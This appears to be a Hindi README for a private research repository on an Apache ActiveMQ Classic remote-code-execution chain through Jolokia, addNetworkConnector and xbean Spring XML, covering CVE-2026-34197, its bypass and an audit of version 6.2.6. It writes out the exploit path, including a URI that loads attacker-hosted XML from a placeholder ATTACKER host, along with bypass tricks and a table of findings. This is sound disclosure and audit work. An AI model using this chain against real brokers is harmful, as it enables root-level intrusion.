
Apache ActiveMQ Classic RCE अनुसंधान: CVE-2026-34197 / CVE-2026-42588 बाइपास श्रृंखला + hardened-6.2.6 ऑडिट निष्कर्ष + Crowdfense तुलना
Apache ActiveMQ Classic Jolokia → addNetworkConnector → xbean/Spring-XML रिमोट-कोड-निष्पादन श्रृंखला (CVE-2026-34197 और इसका पैच-बायपास CVE-2026-42588) के लिए निजी अनुसंधान संग्रह, साथ ही फिक्स्ड 6.2.6 रिलीज़ का पूर्ण ऑटो-अनुसंधान ऑडिट और Crowdfense के सार्वजनिक बायपास राइटअप के साथ साइड-बाय-साइड तुलना।
सभी शोषण स्थानीय लैब ब्रोकर्स (Docker / self-hosted) के विरुद्ध किया गया। पेलोड प्लेसहोल्डर अटैकर होस्ट का उपयोग करते हैं।
| डिर | चरण | अंदर क्या है |
|---|---|---|
00-comparison-vs-crowdfense.md | तुलना | हमारा कार्य vs. Crowdfense का "ActiveMQ RCE Bypass" लेख, file:line पर स्रोत-सत्यापित |
01-original-cve-2026-34197/ | मूल पुनरुत्पादन | विश्लेषण + PoC स्क्रिप्ट + Spring-XML पेलोड (लैब: activemq-classic:5.18.6) |
02-reaudit-apr30/ | संस्करण मैट्रिक्स | 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 पर uid=0; मूल्यांकन + PoC + version-matrix.sh |
03-reaudit-42588-42253/ | लाइव बायपास | No-paren कम्पोज़िट बायपास (42588) + MessageServlet XSS (42253), लाइव पुनरुत्पादित |
04-audit-6.2.6/ | पूर्ण ऑडिट | हार्डन्ड 6.2.6 का ऑटो-अनुसंधान ऑडिट: अंतिम रिपोर्ट + निष्कर्ष लेज़र |
लैब्स के दौरान उपयोग किए गए वेंडर सोर्स ट्री और बाइनरी डिस्ट्रीब्यूशन जानबूझकर बहिष्कृत हैं (वे अपस्ट्रीम हैं, हमारे नहीं)।
एक प्रमाणित (6.0.0–6.1.1 पर CVE-2024-32114 के माध्यम से अप्रमाणित) Jolokia कॉलर एक क्राफ्टेड डिस्कवरी URI के साथ BrokerView.addNetworkConnector(uri) को आह्वान करता है, जिसका आंतरिक vm://…?brokerConfig=xbean:<url> ब्रोकर को एक अटैकर-नियंत्रित Spring XML लोड करने के लिए बाध्य करता है, जो ब्रोकर सत्यापन से पहले एक ProcessBuilder बीन को तत्काल इंस्टैंशिएट करता है → OS कमांड निष्पादन।
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
मुख्य बात: तीन निष्कर्ष रूट/XSS तक लाइव-सिद्ध हैं; 6.2.6 ऑडिट एक व्यापक सेट जोड़ता है जो स्रोत-सत्यापित और प्रतिकूल-मूल्यांकित है, परंतु अभी तक लाइव-विस्फोटित नहीं। 6.2.6 के कोई भी अतिरिक्त निष्कर्ष नए अप्रमाणित RCE नहीं हैं — वेंडर ने उन दरवाजों को बंद कर दिया; शेष जोखिम प्राधिकरण और आउटपुट-एन्कोडिंग की ओर स्थानांतरित हो गया।
MQTT QoS ऑर्डिनल AIOOBE (QoS.values()[ordinal], क्रॉस-प्रोटोकॉल, कोई कॉन्फ़िग नहीं) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · OpenWire अनमार्शल में signed-short NegativeArraySizeException · नेगेटिव AMQ_SCHEDULED_REPEAT अमर जॉब।
Crowdfense का Apache ActiveMQ RCE Bypass समान श्रृंखला को कवर करता है (वे इसे CVE-2026-34197 के अंतर्गत दर्ज करते हैं; हम बायपास को अपने स्वयं के CVE-2026-42588 के रूप में ट्रैक करते हैं)। दोनों विवरण तीन-परत सुरक्षा पर अभिसरित होते हैं; एकमात्र विचलन परत 2 है।
एक अंतराल: उनकी परत-2 percent-एन्कोडिंग + UNC/WebDAV ट्रिक बिना किसी स्थानीय-राइट प्रिमिटिव के पूर्ण-रिमोट डिलीवरी प्राप्त करती है। जिस क्लासिफायर दोष का यह दुरुपयोग करता है (activemq-spring/Utils.java:123-129, अनडिकोडेड स्ट्रिंग पर एक कच्चा startsWith("file://")) हमारे सटीक स्रोत में मौजूद है — परंतु रिमोट आधा केवल-Windows है (Linux //host/share को स्थानीय पथ के रूप में मानता है), और हमारी लैब Linux थी, इसलिए यह वहाँ प्रयोज्य नहीं था। यह वैसे भी 6.2.6 पर मृत है (VMTransportFactory स्कीम गेट Utils चलने से पहले xbean को अस्वीकार कर देता है)।
अनुवर्ती: एक Windows-होस्टेड 5.19.6 (या कोई भी प्री-5.19.7/6.2.6 बिल्ड) + SMB/WebDAV लिसनर हमें पूर्ण-रिमोट अनुमति-सूची बायपास प्रदर्शित करने देगा — एकमात्र क्षमता जो लेख में है परंतु हमारे एंगेजमेंट ने नहीं दिखाई।
तीन कमिट श्रृंखला को बंद करते हैं: c1b44af11 (पैरेंस के बिना कम्पोज़िट URI सत्यापित करें — parseComposite बिना शर्त + रिकर्स), c2fc7a1d6 (VMTransportFactory स्कीम अनुमति-सूची के माध्यम से डिफ़ॉल्ट रूप से XBeanBrokerFactory को ब्लॉक करें), और be8415f24 (सैंपल-कॉन्फ़िग हार्डनिंग: Jolokia को loopback पर, addNetworkConnector के साथ ऑपरेशन डेनी-सूची)।
| ID | निष्कर्ष | वर्ग | गंभीरता | प्रमाणीकरण | प्रमाण |
|---|
| CVE-2026-34197 | Jolokia addNetworkConnector → xbean Spring-XML RCE | RCE | क्रिटिकल | पोस्ट-ऑथ (6.0.0–6.1.1 पर अनऑथ) | 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7 पर लाइव — uid=0 |
| CVE-2026-42588 | 34197 डेनीलिस्ट का No-paren कम्पोज़िट-URI बायपास | RCE (पैच बायपास) | क्रिटिकल | पोस्ट-ऑथ | 34197-पैच्ड 5.19.6 + 6.2.0 पर लाइव — uid=0 |
| CVE-2026-42253 | MessageServlet हेडर इंजेक्शन → stored XSS | इंजेक्शन / XSS | मध्यम | पोस्ट-ऑथ | 6.2.0 पर लाइव |
| ID | निष्कर्ष | वर्ग | गंभीरता | प्रमाणीकरण | टिप्पणियाँ |
|---|
| C1 | static: डेनीलिस्ट अंतराल → SSRF — static DENIED_TRANSPORT_SCHEMES से अनुपस्थित; addNetworkConnector("static:(tcp://…)") → आउटबाउंड ब्रोकर TCP | SSRF | मध्यम | एडमिन / JMX | लेख द्वारा कवर किए गए उसी 34197/42588 डेनीलिस्ट को पार करने वाला सिंक वैरिएंट |
| B1 | Durable-subscription क्रॉस-clientId डिलीट IDOR — removeSubscription वायर-सप्लाइड clientId पर कुंजीबद्ध है और AuthorizationBroker में अन-गेटेड है | टूटा हुआ authz / IDOR | मध्यम | पोस्ट-ऑथ (यदि ब्रोकर ऑथ बंद है तो प्री-ऑथ) | सबसे स्वच्छ नेट-नया |
| B3 | LDAP खाली-पासवर्ड → अनाम बाइंड (LDAPLoginModule, कोई खालीपन गार्ड नहीं) | ऑथ बायपास | मध्यम (सशर्त) | प्री-ऑथ | डायरेक्ट्री द्वारा अनाम बाइंड स्वीकार करने पर सशर्त |
| A1–A7 | कंसोल आउटपुट-एन्कोडिंग इंजेक्शन परिवार — अटैकर-नियंत्रित MessageId.textView (OpenWire v10+ और AMQP) ~7 JSP/REST सिंक + FileSystemBlobStrategy पाथ-ट्रैवर्सल में अनएस्केप्ड | इंजेक्शन | निम्न–मध्यम | प्रोड्यूसर → एडमिन | डिफ़ॉल्ट रूप से CSP-गेटेड HTML/कंटेंट-इंजेक्शन तक |
| B2 | Shiro WildcardPermission कोलन-इंजेक्शन वर्ब-एस्केलेशन | Priv-esc | निम्न–मध्यम | पोस्ट-ऑथ | Shiro गैर-डिफ़ॉल्ट |
| B4 | अस्थायी-गंतव्य authz फेल-ओपन विषमता बनाम गैर-अस्थायी फेल-क्लोज़्ड | टूटा हुआ authz | निम्न | पोस्ट-ऑथ | बाय-डिज़ाइन (AMQ-4721); हार्डनिंग नोट |
| B5 | StatisticsBroker replyTo प्लगइन को प्राधिकरण से पहले ऑर्डर करने पर राइट-ACL छोड़ देता है | टूटा हुआ authz | निम्न | पोस्ट-ऑथ | कॉन्फ़िग-ऑर्डर पर निर्भर |
| B6 | सर्ट-लॉगिन गैर-कैननिकल DN (getSubjectDN().getName()) → समान-CA सर्टिफिकेट्स के बीच पहचान टकराव | ऑथ | निम्न | प्री-ऑथ (TLS-सत्यापित) | "कोई भी self-signed सर्टिफिकेट" काम नहीं करता |
| B7 | JMSXUserID populateJMSXUserID=false (डिफ़ॉल्ट) होने पर स्पूफ़ | स्पूफिंग | निम्न | पोस्ट-ऑथ | — |
| F5 | STOMP आउटबाउंड हेडर-नाम कभी एस्केप नहीं किया जाता → सह-टेनेंट सब्सक्राइबर को फ्रेम इंजेक्शन | इंजेक्शन | निम्न | क्रॉस-प्रोटोकॉल | STOMP सक्षम |
| परत | रक्षा | Crowdfense इसे कैसे पराजित करता है | हमने इसे कैसे पराजित किया |
|---|
| 1 | स्कीम डेनीलिस्ट (34197 फिक्स) | No-paren कम्पोज़िट static:vm://… | समान — स्वतंत्र रूप से खोजा गया ✅ |
| 2 | xbean {file,classpath} अनुमति-सूची (#1910) | Percent-एन्कोडेड file:%2f%2f… → Windows UNC → WebDAV → रिमोट HTTP फ़ेच | स्थानीय फ़ाइल xbean:/tmp/evil.xml (स्थानीय राइट की आवश्यकता) |
| 3 | VMTransportFactory स्कीम गेट (broker,properties, 42588 / 6.2.6 फिक्स) | किल के रूप में स्वीकृत | समान निष्कर्ष ✅ |